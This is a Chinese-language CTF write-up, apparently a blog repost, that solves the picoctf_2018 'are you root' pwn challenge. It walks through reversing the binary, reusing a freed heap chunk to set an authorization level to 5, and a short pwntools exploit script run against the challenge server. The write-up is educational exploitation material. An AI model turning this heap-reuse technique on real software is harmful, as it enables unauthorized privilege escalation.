[BUUCTF]PWN——picoctf_2018_are you root(程序逻辑错误)

picoctf_2018_are you root

  1. 例行检查,64位程序,开启了canary和nx
    在这里插入图片描述

  2. 本地试运行一下,看看大概的情况,提示level=5会输出flag
    在这里插入图片描述

  3. 64位ida载入,检索字符串发现程序里有读出flag的函数在这里插入图片描述
    右击跳转,看看有没有地方调用了这个函数
    在这里插入图片描述
    在main函数里调用了它,如果s=get-flag,而且*(v6+2)的值是5的话就能输出flag,对应菜单的get-flag - print the flag (requires authorization level 5),v6的初始值是0。这边要想办法修改v6的值,并且让*(v6+2)处=5

  4. main函数,程序太长,分开看,挑几个用的上的贴一下
    s=login
    在这里插入图片描述
    nptr根据v10字符串分解得到,看v10跟s在栈上的距离
    在这里插入图片描述
    他俩离的挺近,在写s的时候可以覆写到v10,然后就是这个strotk函数,说是按照’\n’拆解字符串,但是我自己尝试的时候感觉只是分解了login和后面的字符,它会省去login后的一个字符。
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
    因此我们可以通过输入的s来控制nptr里的值
    在结合show
    在这里插入图片描述
    在v6处程序大概定义了这样一个结构体

struct USER{
	char *name;
	long long auth_level;
}

本来我想的是构造payload:payload=‘login ’+‘a’*0x8+p64(5),来让level变成5的,但是直接修改并不可以,此时我们的name是aaaaaaaa\x05,auth_level里是默认初始值0
在这里插入图片描述
在这里插入图片描述

  1. 我们这边要结合reset来利用
    在这里插入图片描述
    在reset中只是释放了name,并在name的地址置为空,
    在这里插入图片描述
    此时该chunk进入tcache,下次login时还会再申请一次user结构体,此时名字中超过8字节的部分就被当成auth_level了
    在这里插入图片描述
    在这里插入图片描述
    修改成功。

exp:

from pwn import *
 
#p = process('./PicoCTF_2018_are_you_root')
p = remote('node3.buuoj.cn',29575)
context.log_level="debug"
 
payload='login '+'a'*0x8+p64(0x5)
p.sendlineafter('>',payload)

p.sendlineafter('>','reset')

p.sendlineafter('>','login aaa')

p.sendlineafter('>','get-flag')

p.interactive()

在这里插入图片描述

写在后面:
这题本身不难,就是一个逻辑漏洞,里面用到了二级指针的知识点,一开始没注意到是二级指针,折腾了好久。

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/114924329
You